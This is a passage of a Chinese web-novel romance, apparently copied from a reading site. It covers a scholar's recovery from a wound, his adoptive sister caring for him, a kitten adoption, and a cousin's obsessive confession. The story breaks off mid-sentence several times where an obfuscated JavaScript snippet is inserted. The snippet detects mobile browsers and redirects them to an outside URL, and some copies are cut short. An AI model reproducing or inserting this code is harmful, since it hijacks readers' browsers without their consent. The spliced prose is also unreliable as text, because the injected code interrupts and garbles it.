轻轻的牵拉,鲜红的血液不停涌出。怀夕看着眼前的情状,紧紧咬住牙关,眼眶里的泪再也止不住...... “快把桌上的药粉拿过来!”李太医催促那随行的太医。 怀夕反应更快,回头看到桌上的药罐,在那太医起身之际已经把药罐子打开,捧给他。 李太医接过,急忙将药粉洒在伤口上,而后用银针在脚踝上施了几针,血才慢慢停止渗出...... 待重新包扎完,两位太医头上已渗出厚厚一层汗。 “宋编修烧还未退,屋内一定要暖。可以用冬日取暖的炭盆,但不要放得离床太近......”因是太子的吩咐,李太医丝毫不敢怠慢,事事细细交待,“最多两刻钟,宋编修应能醒过来。姑娘可先备些粥水,待宋编修醒来过喂一些,多少都行,五谷最能提气......明日我等再过来换药......” 说完后,见怀夕眼尾洇红,眼泪忍着在眼眶里打转,他又宽慰道:“姑娘也不必太担心,只要这段日子让宋编修多静养,莫牵扯伤口,不会有什么大碍的。” 怀夕吸了吸鼻子应好,亲自将他们送到门外,又吩咐松毫和小艾去准备太医说的东西,才急忙回到宋承云床前,一步不离地守着...... - 自受伤后,宋承云因着毒性影响,一直昏昏沉沉,不曾清醒,连疼痛都是模模糊糊。 醒来时,看来熟悉的帘帐,他习惯性想坐起来。但还未动,一股钻心的痛楚从腹部往上侵袭,让他忍不住低哼一声。 “哥哥,你醒了”怀夕一直守在床边,看到床上的人有了动静,急忙凑上前去确认。 摸摸额头,额温还是很高,她又将手伸到被子里去寻他的手。 ——终于没有那么冰冷了。 怀夕稍稍松了口气。 熟悉的清甜味混着难闻的药味,宋承云刚睁开眼,意识还有些昏沉。指尖被覆住时,他微微蹙了蹙眉,不知是因伤痛还是什么。 怀夕见宋承云好似点了头,可双眸颤巍巍的,又要闭上时,有些紧张,又俯身仔细瞧他脸色。 苍白如纸张,连睁眼的力气都没有...... 想到李太医的嘱咐,她凑到他身旁,轻轻说道:“哥哥莫再睡了,先起来喝点粥水,好吃药...” 见宋承云虽闭着眼,但终于轻点了下头,怀夕急忙走到门外,吩咐让松毫把准备好的东西送进来。 厨上一直煨着清粥,很快,松毫便把粥端进来。 宋承云还不能坐起来,怀夕只好端着碗,一勺一勺小心翼翼将熬好的粥油喂给他。 不知是不是她没掌握好角度,粥水顺着宋承云的下颌流下,滑过脖颈处...... 怀夕咬了咬唇,眸里显而易见对自己生疏动作的不满。 她将碗递给旁边的松毫,又拿出自己的帕子伸进宋承云颈窝擦拭。 小手在脸边乱蹭,宋承云蹙了蹙眉,往后躲了躲。 “让松毫来吧。”他的声音轻得仿佛要化开。 怀夕手忙脚乱,闻言倒是干脆,将位置让给松毫,自己在一旁看着,偶尔帮忙擦拭宋承云嘴角的细渍。 再把汤药慢慢喂尽后,松毫才端着碗退了下去。 宋承云其实还很虚弱,连喘气都是钻心的痛楚。 他想闭眼,可眼前的小姑娘一脸小心翼翼地守着他,明明满心的疑问却不敢开口。 他不想小姑娘担心,轻轻吸了口气,“朝堂上的事不便与你多说。” 他的声音轻飘疲倦,怀夕心里纠得厉害,她垂下眸,紧紧攥紧手上的帕子,怕哥哥看到自己快要弹出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127984|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的眼泪。 但宋承云目光一直随着她动,怎么会没发现。 “别哭。”他似是叹了口气,伸手去握她的,安抚道:“哥哥没事,睡一觉便好多了。” 那么深的伤口怎么可能睡一觉就好,如今屋里烧着炭火,平日最畏冷的她都熏得一身薄汗,可哥哥的手虽不至于像刚回来时那么冰,但还是凉凉的。 怀夕抿紧唇瓣,忍着喉间的哽咽,“哥哥骗人,李太医说了,哥哥要好好养一段时间才能将流掉的血养回来。” 见宋承云不在意般轻轻哼笑了声,怀夕很不满,正了正脸色,“总之,这段时间,哥哥都要听我的,没养好就不能出门。” 怀夕说完,直愣愣地盯着他,仿佛不达目的不罢休一般。 既是无力周旋,也知道怀夕是担心,宋承云无奈地点了点头,而后闭上眼,很快又沉睡过去。 - 再睁眼的时候,天光初亮。 一夜炭火烘烤,宋承云觉得喉咙干痛地厉害。他向来不让松毫守夜的,所以习惯性想伸手敲一敲床榻,叫人进来。 只是刚一转头,发现床边不知何时搬进来一张小榻。此时榻上躺着个睡颜安宁的女子,眉目舒展,睡得香甜。 ...... 宋承云眉心忍不住重重跳了跳。 这成何体统,别说已经及笄,未及笄的姑娘也不能在哥哥屋里过夜...... 昨夜他实在太疲累,原以为应下妹妹的要求,她就能安心离开。 没想到她竟这般胡闹....... 她是侧身朝着他这边睡的,半张莹白脸庞陷在被褥之中,乌黑发丝松松铺落在一旁,长长的睫羽将那双清亮剔透的眼眸藏了起来,领口在她随性的睡姿下松垮地露出半边肩头...... 毫不设防的姿势。 宋承云眼皮一颤,目光仿佛被灼烫到一般,迅速从那白得如雪一般的莹润上移开眼。 他弯下手指,原想重重叩一叩床沿,但真正落下时,还是收了一点力。 怕惊到还睡得香甜的女子。 隐隐约约听到几声咚咚声,怀夕在被褥中蹭了蹭脸,转了个身。 刚转过去,又似乎惊醒一般,迅速睁开眼。 她在给哥哥守夜,怎么能睡得那么沉....... 怀夕将被褥推开,半笈着鞋子走到床边。她睡眼惺忪,加上床帷边比较昏暗,她一时没有看出床上的人正定定地看着她,神情颇为不悦。 看到宋承云睁着眼,怀夕轻轻问道:“哥哥什么醒的?” 说完后,她又俯身靠得更近些,见哥哥脸色没有那般苍白,但嘴唇上干得有些起皮,她又起身走到桌子边,提出炉子上一直温着水壶,倒了一杯水,才坐回到床沿边。 屋内燃着炭盆,暖烘烘地烤着,叫人很是舒服放松。 宋承云的伤口还不能挪动,只能侧过头,看着怀夕垂散着满背的乌黑发丝,在屋内行来踏去,轻薄的里衣遮不住她窈窕身线...... 宋承云眼里愠色渐浓,等她又坐回床边,俯着身欲将手里的汤匙送到他嘴边时,他终于忍不住低低斥了一声。 “胡闹!” 42. 第 42 章 看到宋承云瞥开脸,怀夕有些意外,料想是茶水太烫,她将汤匙收回嘴边,轻轻呼了呼,又送过去。 “胡闹。”宋承云低哑的嗓音里带了几分斥责。 怀夕却不在意,她只关注到宋承云说话的声音不似昨日那般有气无力,不仅不惧,脸上反而高兴了两分。 见宋承云没有张嘴,她索性将汤匙直接触到他嘴边。 温热的清水沾在唇边,动一动就要溢出一般。宋承云不得不张口,喝下这口后马上伸出手,制止怀夕接下来的动作。 “松毫呢?就这样任你胡闹?” 怀夕见哥哥真的动了气,脸上漫上两分心虚。 松毫当然劝了她许久,但她一意孤行,松毫怎么可能拿她有办法,最后只能不太情愿地替她搬来软榻。其间又尝试请她回去,终是无果,最好他也只能做好受公子斥责的准备。 “不就是在你屋里过了一夜吗?”怀夕也觉得委屈,“你昨日奄奄一息的模样那么吓人,不看着你我怎能放心。” 宋承云见她眼眶红红,不买账,罕见地更动了气,“这成何体统?万一传出去,你以后还要不要嫁人?” 怀夕本就吃软不吃硬,宋承云这般严厉,她更是犟了起来,脱口而出地应道:“不嫁!” 话音刚落,两人明显都愣了愣。 “宋怀夕。”温水浸润过后,宋承云声线又恢复成往日那般清冽。 他一字一字语调分明,明明声音好听得不行,但脸上的神色却越来越难看。 怀夕见哥哥比她更难缠,软硬不吃,终究心虚,垂下眸不情愿地说:“知道了。今夜就不来了。” 宋承云目光落在她粉嫩如花瓣的唇瓣上,听着她含糊不肯认错的话语,眼睫压下眸底晦涩,终究只淡淡地应了声,“嗯。” - 怀夕夜里是没有再来,但白天说什么都不听,雷打不动地守着他,除了一些迫不得已要回避的,其他一应事情皆要亲力亲为。 李太医每日都会上门请脉换药,太子的亲信随从也日日过来探望。 到第四日,李太医看过宋承云已经有了愈合迹象的伤口后,点了点头,说是恢复不错。他留了专配的药粉,又开了几帖药,和宋承云说三日后他再继续过来复诊。 储君遇刺,朝野震动。趁此动荡之际,各方势力明里暗里重新洗牌,太子忙得脚不着地。但宋承云醒过来后,太子百忙之中仍来了一趟。 不过也没有停留太久,与宋承云在屋内停留了一刻钟左右便离去了。 怀夕丝毫不知外面风云变幻,只知道太子下旨让哥哥在家中休养一段时日。 而宋承林一行,因宋承云受伤也在金陵多呆了一段时日。 待第三次登门,才见到宋承云。 当然前两次也不是宋承云故意不见他们。 他们第一次来时,宋承云刚被抬回来,还在昏迷。 第二次来时宋承云状态也不是很好,虽醒了,但因毒性残留沉睡的时间还是有些长,因此怀夕都推了他们的探望。 直到问过李太医,李太医首肯可以让宋承云出门晒晒日光,偶尔小坐也无妨,宋承晖一行才见到他。 待客本应在正厅,只是宋承云还不能走动多步,只要就近将他们请到书房。 书房原本不算小,只是里头又用屏风隔了个小区域,供怀夕平日写字看书用。因此,外间临时加放了几把椅子时,就显得有些逼仄。 不过宋承晖可顾不上这些,在京中等了这么多日,好不容易见到这位赫赫有名的族弟,他心里只想着该怎么妥帖地提出族里托付之事。 进来后见过礼落座后,几人先是寒暄关心了一下宋承云的伤况。 宋承云一直在外求学,跟这几个兄弟不算熟,不过读书人的素养在那,他们远道而来,问什么他也算是皆有回应。 只是他向来话不多,回的话也是简短。 说了一小会,宋承晖主动上前,拿出在袖里放热了的信封,“这是族里让我们送来的书信...” 宋承云看了一眼,抬手接过。 在他看信之时,宋承林的目光不着痕迹扫过隔间书桌案上摆着的那盆粉艳的长春花,而后落到桌前看信之人身上。 宋承林记忆中,这位二哥自小清贵端方,不苟言笑,但的确生了一副不凡姿态。 他今日着一身锦色袍衫便服,披一件浅青色轻裘披风,脸上有些病态的苍白,可清隽不减,只衬得那双冷清黑眸更为疏冷缥缈。 屋内燃着炭盆,坐久了不由得让人觉得有些闷热。 炭火烧得红火,蹦出一点火苗啪的一声,宋承林不由得想起刚刚被请进来后的那段小插曲。 那位从小跟着二哥的书童松毫在他们落座后,送了他现在披的这件轻裘披风进来。 好似已经料到他们公子会拒绝一般,松毫为他披上时,先开口解释:“姑娘说公子不能着凉。” 言毕,宋承林看到他抬起的手又落了回去。 显然,宋承晖和宋承炳也看到这一幕。 他们相视一眼,眼里都露出一抹了然:如传闻一般,这位族弟看着清冷不好接触,但对妹妹却是十分疼爱纵容。 - 屋内说了什么怀夕并不知道,只是在外面数着时间,李太医交待了,哥哥不能久坐太久...... 好在等她忍不住想借送茶水的名义进去催客时,屋内的人刚好站了起来,看着已经准备告辞了。 临走前,宋承晖说起之前青元山上的好风景,在说到怀夕差点扭了脚时,怀夕正好端着茶水款款走了进来。 宋承云知道妹妹带这几个族亲去了一趟青元山,但这个小意外,妹妹并没有同他说。 他第一时间将目光落到她脚边,看着她慢慢走近。 脚踝藏在曳地的织锦裙摆下,走路间裙摆漾出轻巧的波浪,应是无碍。 怀夕一进来,便听到宋承云轻轻咳了一声,头往里一看,内室的雕花窗户开了一半... 怀夕皱了皱眉,暗道自己粗心,早晨过来替哥哥拿书时本想开窗通通风,倒忘记吩咐小艾关上了。 来金陵好一阵子了,宋承晖他们对怀夕也已经比较熟悉,所以并没有很见外。宋承林最小,接过怀夕手上的茶水,替族兄们斟满。 怀夕向宋承林点头致谢,在他们的注视下,走近内屋,把窗户关了起来。 又闲聊几句,向宋承云兄妹说明归期后,宋承晖他们颇有眼色,适时请辞。 宋承云不便相送,怀夕将他们送到门外。 宋承晖对她拱了拱手:“今日叨扰了,见承云没有大碍,我们也好放心回去,妹妹就送到这吧。” 怀夕也没推辞,让松毫送他们回客栈,她小站一会目送他们离开便折回书房。 回到书房,果然,看到哥哥还坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133276|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位子上,手里拿着本书在看。 无外人在,怀夕果断提了提裙摆,小跑过去,抽走他手里的书。 她又将手搀进宋承云臂弯,不由分说道:“我送哥哥回房间休息。” 宋承云叹了口气,将手收了回来,“我自己可以走。” 可他才站起来,就不自主嘶了一声。 怀夕见状,哪里还肯,学着松毫平日搀扶的姿势,不由分说地将宋承云的手搬到自己肩头,而自己搂着宋承云的腰...... 这样亲密的动作,宋承云下意识就要将手拿开,往后退。 可他如今腰腹用不上力,架在怀夕肩上的手又被她另一只手及时拉住。 慌张之下,只能冷冷说了句:“不成体统。” 可怀夕哪里会怕他,她将他的话当作耳旁风,搂着他继续往前走,还要教训回去,“哥哥怎么跟个古板老夫子一样,整日体统体统,今日就算是松毫,我也不会弃他不顾,哥哥想要体统,先把伤养好再说。” 宋承云被怀夕怼得一时说不出话,听到就算是松毫,她也会这般,脸上骤然沉了沉。 毕竟是男子,虽宋承云只放了一小部分力在她身上,怀夕还是觉得有些重。 但毕竟才夸下海口,即使力不从心她也不肯示弱,用了站直了些,搂着宋承云腰的手也更紧几分。 隔着衣裳,宋承云觉得被她搂住的地方又麻又痒,腰间不自觉的颤栗感让他紧紧攥住拳。 而宋承林折回来时,看到的便是这一幕。 - 宋承林有一把很是心爱的折扇,不管春夏秋天都携在身上。走到半路时他才发现折扇不在手中,不想两个族兄专门停下等他,他便独自折回来。 因刚刚才离开,守门的又知道她是主人的族亲兄弟,因此没有再通报便让他进来了。 到了宋承云院子门外,宋承林原想想寻个丫鬟帮自己取出折扇,可宋承云平日不喜仆侍在旁,松毫正好又被宋承云派出去办事,宋承林小站了一会仍无人经过。 宋承林想了想,或许二哥还在书房,遂还是提步迈了进去。 只是他没有想到,只是跨进院子刚转过一道游廊,就看过眼前的场景。 宋承林一直都以为,宋承云性子冷淡,只是怀夕单方面喜欢黏着她。 但此刻,前方的男子不复刚刚所见那般,即便重伤坐着,身姿依旧挺拔如松。 他竟将身子歪倚在那抹纤弱的鹅黄身影上...... 因男子身材高大,那抹鹅黄身影只能踮着脚尖,愈发将整个人送进男子怀中...... 宋承林远远地看着他们的背影,又因隔着宋承云的披风,他看得并不真切。但这样的姿势,不难想象,他们两人靠得多近,多紧。 凉风送来他们的悄悄话,“哥哥好重......” 宋承林无端觉得眼前的场景十分刺眼。 在他面前清淡疏离的怀夕,原来对着宋承云,也会有这样乖巧娇柔的模样。 他们可是兄妹! 可心底同时又有一个声音在耳边不停叮咛:他们可不是亲兄妹! 正如他,不也是这样为自己那种种见不得人的心思推脱的吗。 多年前的那股嫉妒在此刻死灰复燃,一口口地啃咬着他的心。 宋承林紧紧咬着后槽牙,掩下涨得满是血丝的眼眸,无声转身消失....... 43. 第 43 章 夜里,宋承云觉得烦闷,遂还是让松毫搀着他书房小坐一会。 宋承云看书间隙,松毫走到里边,简单收拾怀夕桌上的东西,走出来时恰好看到靠近内室那把椅子上有一把玉骨折扇。 松毫有些惊奇,走过去拿起来,嘴里忍不住嘀咕着,“三公子的折扇不是在这吗?这么显眼怎么会没找到......” 宋承云听得不甚清晰,目光落到他手里的折扇,问:“你说什么?” 松毫只好解释了一遍,“早上姑娘让我送几位公子客栈,半路三公子折回来取扇,不过回去后说是没找到。”他扬了扬手上的折扇,“这不是在他位子上嘛......” “嗯...”宋承云目光又落回他手上的书,似乎对这段插曲不甚在意。 即将入冬,屋外冷风瑟瑟地吹打窗沿,桌上的烛火轻轻跃动,幽深的眼眸也随之微微晃起了一丝波澜。 - 立冬一过,寒气开始肆虐,凛冽的北风吹在脸上,针扎般地生疼。 今年金陵雪下得早,立冬不过几天,第一场雪就纷纷扬扬下了起来。 怀夕晨醒推开窗,飘进来的雪花准准落在她额上,冻得她不自觉打了个颤。 宋承云在家中静养了多久,朝堂上就闹了多久。半个月,追尊一事以皇帝全盘胜出落下帷幕,而太子也借刺杀事件,踢掉两名内阁学士,换上自己的人。 宋承云伤口愈合得挺好,因救驾有功,圣上亲下了旨意,破例提为翰林院修撰,令他编修会典,过两日宋承云便回去当值了。 怀夕每年生辰,宋承云都会提前准备好贺礼,今年亦是,贺礼早几日就已经送给她了。 今年是一串沉香手串。 沉香素有理气平喘之奇效,宋承云几费周折才寻来这串手串。 怀夕小时有心疾,发作时易心悸疼痛,白氏遍访名医都无果,原本还担心她活不长,没曾想随着她长大,心疾好似自然而然就好了。 可惜病根拔不除,怀夕偶尔还是会心悸,只是最多喘不上气,不至于如同小时那般疼痛到坐立难安。 不过怀夕并不知道此串得来之艰辛,只是觉得沉香粒香气幽雅,戴在腕间也很好看,遂十分喜欢这串手串。 按惯例,除了贺礼,每年生辰,宋承云还要答应怀夕一个“心愿”。 宋承云虽宠怀夕,可怀夕性子跳脱,又惯是擅长蹬鼻子上脸,所以宋承云待怀夕也不是无底线地满足。 两人约法三章,他不同意的事,怀夕绝对不能擅做。 虽说几年来,这条章法几乎形同虚设。 宋承云很少对怀夕说不。 今年生辰怀夕倒也没有提出什么过分要求,只是要宋承云陪她去杨铭那里聘一只猫奴回来。 丁心兰走之前,养了两只猫奴,一公一母。带着娇娇金陵时,太匆忙,不便将两只猫都带走,于是只带走了黏人些的那只公猫。 没曾想,他们离开不久,母猫就下了三只小崽。怀夕本也不知道,只是前几日杨铭过来探望哥哥时同她闲聊提到。 这一对也着实叫人唏嘘,丁心兰走时,杨铭当然不是没有挽留。 反而,他一反常态,十分强硬,不肯让她们母女离开。最后,见丁心兰软硬不吃,执意要回,他甚至以留下娇娇相逼,但没曾想惹得丁心兰怒意更盛,连夜叫了马车,赶回苏宁。 杨铭悔不当初,他与表妹本来就什么事都没有,不知妻子为何这般在意,如今几月过去,还坚持要同他和离。 若不是她走后他也将表妹连送走,恐怕岳丈岳母再如何替他周旋也无用。 妻子不在身边,杨铭满心愁苦无人诉说,也只有在见到怀夕这位妻子私交甚好的妹妹时,偷偷泄露一丝情绪,斟酌着语气问她丁心兰的近况。 怀夕与丁心兰书信不断,对她的近况颇是了解,只是有些是姑娘们的私密话,不能对别人说。 譬如,丁心兰在最新的一封书信中说道,她家中有位比她小两岁的表弟,小时候因关系亲近,同吃同住好一段时间,后来表弟去了书院读书,男女有别,两人也渐渐生疏。 没曾想表弟与她哥哥同一批会试,只是没有他们那么出挑,被外放到苏宁下的一个县里当知县。她说,这位小时候跟在她后面流鼻涕的表弟如今出落得十分清俊...... 鉴于她与杨铭算是熟识,怀夕还是挑了一些不重要的讲,后来见他实在沮丧,咬咬牙,还是给他一个提醒:“你若还想着圆圆姐,何不亲自去找她解释清楚呢?若是晚了,难免有人捷足先登......” 杨铭愣了愣,也不知道有没有听懂她的意思。 说完后,怀夕又有些后悔,所以杨铭再问,她便什么都不肯说了。 杨铭在怀夕这里多少也得到妻子的一些消息,离开之前他问怀夕:“我家的玲珑下了三只崽子,听心兰说过,你说过想要养玲珑的小崽?” “对对对,你怎么不早说。”怀夕点头,她可喜欢他们府里那两只猫奴了。 杨铭讷了讷,更加愁上心头。 他如何早说,他的妻子又不在身边,若不是正好来探望她的哥哥...... 两人在书房外说了好一会话,杨铭听到书房里宋承云咳嗽了一声,忽觉有些失礼。毕竟是外男,哪有拉着人家妹妹说那么久话的道理。于是匆匆说道:“待宋修撰好些,让他携你过来聘猫奴吧。” 其实他直接让人送来也可以,但崽子有三只,他也不知怀夕会喜欢哪只。况且,自家夫人当初是颇庄重地准备了许多物品将玲珑聘回来的。她们女子心思细,免不得有许多他不知道的讲究。 他确实猜对怀夕的心思。 聘小猫可不能草草了事,要挑选个吉日,写好猫契,备好芝麻大枣等聘礼,隆重地去迎它回来。这样小猫才好养些,认了新窝,以后不会离家出走。 - 怀夕自己忙活着先写了一篇纳猫契书时,只是看来看去又不是特别满意。 最后,见她抓耳挠腮,好不烦恼的样子,宋承云还是提笔替她重写了一篇。 状元郎青词都写得,小小的猫契书自然不在话下,一笔挥就。写完后,怀夕一字一句品读,果然十分满意。 过了两日,便是聘猫的吉日。 虽说宋承云伤口已经恢复得不错,但出发前,怀夕还是让琥珀他们在马车上放了厚厚一层毛褥。 马车上颠簸,她担心摇晃扯到哥哥伤口。 有宋承云在场,不到一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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琥珀从屋外拎了一小壶羊奶进来,倒在暖窝盘的小碗里,小猫奴原本还在扒拉玩着暖窝里的小玩具,闻到香味,便慢慢走过去。 主仆几人围着一圈,新奇地看着小猫奴一口一口舔舐着碗里的羊奶。 但小猫奴刚来到新的地方,喝完后,有些防备地看着周围的人,又躲到窝里去,探头探脑地不敢出来。 看了一会热闹,丫鬟们便散开去做自己的事情了。 怀夕坐回罗汉床上,拿起茶杯抿了口茶时,琥珀又从外面捧回来一个盒子,走上前说道:“姑娘,今早你同公子出门后,三公子来了一趟,让我们转交一个盒子,说是给姑娘的生辰贺礼。” 怀夕有些惊讶,宋承林怎么知道今日是她的生辰。 她把茶杯放下,“拿过来我看看。” 屋内烧着炭,小猫奴大约喜欢温暖,围着炭盆走来走去。 怀夕伸手捻了一块刘婆子今早刚做的小团子,边吃边看琥珀在旁边把盒子打开。 一打开,满满一匣子,怀夕不由道:“这么多?” 翡翠手镯,珊瑚珠串,白玉如意锁,甚至还有九连环和一件彩绘的拨浪鼓...... 这什么组合?又是贵重的首饰又是孩童常玩的玩具? 怀夕皱了皱眉,不懂宋承林是什么意思。 44. 第 44 章 宋承晖一行人已经在前几日坐船回泸州了,只剩宋承林,说是还有些生意要处理,迟几日再走。 说来也巧,在宋承云受伤那阵子,宋承晖一行人因无事可做,几人逛遍长安街和道柳街,正好逛到于子恒的苏绣铺子。 宋承林在泸州也开了几家绸缎铺子,看这家铺子人来人往,一时兴起走进去看。 他颇有生意头脑,按他几年经商经验,他知道,京城流行的东西,过几年各府州也慢慢会流行起来。 见这家铺子生意好,于是起了意,想趁此机会从这家店买些料子和苏绣样子回去,若卖得好,以后或许能跟这家铺子合作,从这里拿货回泸州。 掌柜的见宋承林相貌堂堂,态度又颇为诚恳,于是将此事回禀了于子恒。 于子恒本也想拓展店里苏绣的销路,一见面一聊倒是不谋而合。 聊完合作后,两人坐在二楼贵宾房饮茶时,于子恒玩笑般地说道:“宋兄的名字,倒是与我一位友人的哥哥相似。” 因刚刚谈妥生意,见于子恒年纪相当,也爽快,宋承林心情颇好,扬了扬眉,笑回道:“于老板说的友人,名字里不会有个夕吧?” 于子恒眼睛陡然睁大,“宋兄也认识怀夕?” 宋承林本也只是玩笑,没想到于子恒真的认识怀夕。惊诧之余,他又觉得不无可能,金陵城中卧虎藏龙,谁又能知道谁的底细呢。 他随后温朗一笑:“怀夕是我的族妹。” “原来如此。”于子恒看宋承林的眼神马上亲近了几分,“怀夕也是我的好友,缘分啊。既如此,宋兄放心,铺子里的绸缎、苏绣样子,你喜欢哪些,尽管拿回去先试卖,若是卖得好,你要多少有多少。” 于子恒本就是个豁达人,知道宋承林是怀夕亲眷后,更是爽快。 宋承林也看好他铺子里的这些衣饰,回绝他的好意,直接订了几百件的量。 于子恒这几年做生意,还真的难得遇见宋承林这般干脆又不拘泥于微毛细利的人,又因他是怀夕的族兄,更对他有些惺惺相惜之感。 于是后续包装,船运等,于子恒都安排得妥妥当当,宋承林便留下来待货赶出来后一同随船离开。 宋承林还未离开金陵这事,怀夕也是从于子恒那里听来的。苏绣铺子常跑腿来送新料子的小厮是于子恒身边得力的,送东西来时被请进来歇脚喝茶,想到这两日他们公子跟泸州来的宋公子相谈甚欢,特意同小艾提起的。 他们怎么做生意,怀夕没有兴趣,听过后并没有多说什么。 又过了几日,于子恒遣人来邀宋承云兄妹到春风楼一聚,说是替宋承林践行。 这邀约来得有些匆忙,却也是因为事出突然,宋承林刚接到泸州的书信,要提前启程回去,临时来向于子恒辞行。 听说宋承林当晚要走,于子恒说什么都要为他践行,又想着怀夕与他们都相熟,便遣人来下帖子。 是午宴,又是践行,怀夕也不好拒绝。 正好于子恒的小厮过来前,松毫刚回来过一趟,说是今日太子有宴请,公子要夜里才回,叫姑娘不要等。 怀夕心想正好把宋承林上次送过来的匣子还回去,所以还是应了下来。 于子恒做事也算妥帖,不止邀了怀夕,还叫来掌柜一家,因此桌上不至于只有怀夕一位女眷。 整场宴席上,宋承林除怀夕刚到时与之寒暄几句,中途甚少同怀夕交谈。 多是于子恒闲聊问起他们从前在泸州的事时,宋承林才把目光落在怀夕身上,说上几句无关痛痒的话。 虽是午宴,男眷还是喝了一点酒。只是于子恒酒量实在一般,两盏酒一下,便如同打开话匣子。 “原来你们是堂兄妹!”于子恒拍了拍桌面,手劲不大,脸上的表情却有些夸张的讶异,“宋兄,难道怀夕小时候也这般生猛?” 哪有人用生猛形容一个女子,怀夕不满地剜了他一眼,估摸着他是酒劲上了头,便示意他后头的小厮把他酒杯取走。 掌柜的妻子罗夫人正为她的小女儿碗里夹了一片清炒笋干,只是小姑娘看都不看一眼,睁着圆溜溜的大眼睛凑过来看她身旁的怀夕,“姐姐小时候也会打人么?” “......” 当然,她从不肯白白吃亏。 但...怀夕伸手摸了摸小姑娘白嫩的脸颊,摇了摇头,很是温柔地回道:“怎么可能。” “是挺生猛的。” 两句话一同落下,小姑娘看了看宋承林,又看了看怀夕,一时不知道该相信谁的话。还想说什么,又被罗夫人夹过来的芋头甜糕吸引了过去...... 怀夕没想到宋承林会理会于子恒的话,朝他瞥了过去。 宋家的后辈长相都颇为英俊,身材高挑,个个都是一表人才。宋承林肖似其母,小时候因比较肥胖,眼睛挤得弯弯小小。如今长开了,鼻高嘴薄,配上一双微微上翘的桃花眼,俊美得有些阴柔。 大约宋承林自己也知道他的长相偏女相,所以平常并不常笑。 此刻难得笑起来,颇有几分风流浪荡之感。 他似乎没看到怀夕瞥过来的眼神,用略带调侃的语气说道:“把我揍得毫无还手之力,你说生不生猛。” 于子恒和掌柜他们一家忍不住笑了起来。 掌柜家的小女儿看着怀夕了然地点了点头,小声嘀咕了一句:“姐姐撒谎。” 怀夕有些尴尬,虽未喝酒,不过颊上还是因为难堪起了两片红云。 见状,宋承林嘴角幅度仿佛更深了些。 于子恒高兴,不顾劝阻又喝了一盏酒,酒醉饭饱后,剩他一人趴在桌上不省人事。 怀夕无奈地叹了口气,好在有掌柜在,急忙找来两个小厮送他回去。 送完于子恒后,怀夕让宋承林稍待,她让小艾回马车里取东西。 宋承林应了下来,示意仆从跟小艾去取。 于是雅间里就只余他们二人。 怀夕站在窗前看底下的凌阳河,才刚入了冬,凌阳河已经结了薄薄一层冰。 不管从前和宋承林有什么恩怨,都是小孩子间的碰撞罢了。如今都已经长大了,既然还有机会见到,怀夕只当他是与宋承晖他们那般,是老家的一位哥哥。 她指了指窗外,主动开口,“这里,每年元宵花灯节就是在这片冰上办的。” 闻言,宋承林走到她身后,往她指的方向看了看,“这里比泸州的元宵还热闹吗?” “可不,焰火长明不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宋承林额角猛地跳了跳,脸色难以自控地冷了下来。 他不开口,只是直勾勾地盯着怀夕。 怀夕接过小艾手中的匣子后,轻声交待:“你先在门口等我。” 小艾点了点头,又带上门走了出去。 怀夕捧着匣子又走回来,“三哥送的这些礼物太贵重了,我平日也不常佩戴首饰,这些东西在我手上也是埋没了,不如带回去给清初他们......” 怀夕的手因捧着匣子,露出一节雪白的手腕,宋承林盯着雪白上的那串沉香手钏,眼眸几乎要喷出火。 “宋怀夕,你什么意思?” 怀夕面色一怔,却不觉得陌生,这才是从前宋承林与她说话的语气,像掺着冰碴子,很是冷硬。 这阵子他沉默少言,彬彬有礼,她还以为他不似以前那般讨厌她...... 但...她不知道他为何突然变脸,说实在的,她也不怎么在意。 若不是于子恒相邀,她又恰好想把东西退回给他,她本不会来。 到底他已经要离开金陵了,怀夕不想多费口舌,只好讪讪说道:“你的心意我收下了...但这个匣子,还是请收回吧。” “我的心意?”宋承林忽然冷笑一声。 “宋怀夕,你当真明白我的心意吗?” 45. 第 45 章 宋承林往前走了两步,逼近怀夕,“既然你想知道我的心意,那我今日就好好告诉你,我的心意到底是什么。” 他将怀夕捧着的匣子放到桌上,打开,“这个彩绘的拨浪鼓,你不觉得眼熟吗?” 多年来藏在心底的秘密和疯狂,像一座即将喷发的火山,在怀夕疏离冷淡的一句话中崩塌。 宋承林的目光有些游离,仿佛陷入在回忆中,“你离开泸州前几日,我不小心踩坏你的拨浪鼓。后来,我跑遍了全泸州的大街小巷,才找到这个一模一样的。” 他的神情有些狰狞,声音却很轻,生怕对面的人又会重新畏惧他,“如意锁,翡翠手镯,珊瑚珠串...你的每一个生辰,我都花尽在想,你会喜欢什么?” 看着宋承林癫狂的模样,怀夕却显得有些云里雾里。 他每年为自己准备生辰贺礼? 为什么? 他们从前简直水火不容。 